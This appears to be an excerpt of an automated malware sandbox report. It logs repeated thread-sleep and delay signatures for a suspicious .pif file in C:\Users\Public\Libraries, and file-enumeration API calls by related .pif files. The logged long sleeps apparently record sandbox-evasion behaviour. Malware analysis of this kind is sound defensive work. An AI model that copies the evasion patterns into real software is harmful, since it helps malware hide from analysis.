Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -598406s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -598297s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -598188s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -598063s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -597953s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -597844s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -597719s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -596246s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -596016s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -595891s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -595563s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -595438s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -595313s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -594969s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -594750s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -594641s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -594531s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -594422s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080	Thread sleep time: -594313s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep count: 33 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -30437127721620741s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -600000s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -599875s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8120	Thread sleep count: 8184 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8120	Thread sleep count: 1643 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -599766s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -599641s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -599516s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -599406s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -599297s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -599188s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -599063s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -598938s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -598828s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -598719s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -598594s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -598485s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -598360s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -598235s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -598110s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -597985s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -597860s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -597735s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -597610s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -597485s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -597360s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -597235s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -597110s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -596985s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -596860s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -596735s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -596610s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -596485s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -596360s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -596235s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -596110s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -595985s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -595860s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -595735s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -595622s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -595500s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -595391s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -595266s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -595156s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -595047s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -594936s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -594828s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -594688s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -594559s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -594452s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -594344s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -594234s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116	Thread sleep time: -594125s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep count: 33 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -30437127721620741s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -600000s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8136	Thread sleep count: 7560 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -599874s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8136	Thread sleep count: 2292 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -599756s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -599625s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -599515s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -599406s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -599296s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -599187s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -599078s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -598968s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -598859s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -598749s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -598635s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -598515s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -598406s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -598296s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -598187s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -598078s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -597968s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -597859s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -597749s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -597640s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -597531s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -597421s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -597312s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -597203s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -597093s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -596984s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -596875s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -596765s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -596656s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -596546s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -596437s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -596328s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -596218s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -596109s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -595999s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -595890s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -595780s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -595671s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -595562s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -595453s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -595343s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -595234s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -595125s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -595015s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -594906s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -594796s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -594686s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132	Thread sleep time: -594578s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\xpha.pif	Last function: Thread delayed

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B15908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_02B15908
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	16_2_003A0207
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	16_2_003A589A
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003B3E66 FindFirstFileW,FindNextFileW,FindClose,	16_2_003B3E66
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	16_2_003A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 16_2_0039532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	16_2_0039532E
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	19_2_003A589A
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	19_2_003A0207
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003B3E66 FindFirstFileW,FindNextFileW,FindClose,	19_2_003B3E66
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	19_2_003A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 19_2_0039532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	19_2_0039532E

Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598974	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598297	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596246	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594641	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599875
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599766
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599641
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599516
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599406
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599297
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599188
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599063
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598938
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598828
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598719
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598594
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598485
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598360
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598235
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598110
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597985
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597860
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597735
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597610
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597485
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597360
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597235
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597110
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596985
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596860
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596735
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596610
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596485
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596360
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596235
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596110
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595985
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595860
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595735
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595622
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595500
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595391
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595266
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595156
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595047
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594936
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594828
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594688
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594559
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594452
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594344
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594234
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594125
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599874
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599756
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599625
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599515
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599406
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599296
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599187
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 599078
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598968
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598859
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598749
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598635
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598515
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598406
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598296
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598187
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 598078
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597968
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597859
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597749
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597640
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597531
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597421
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597312
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597203
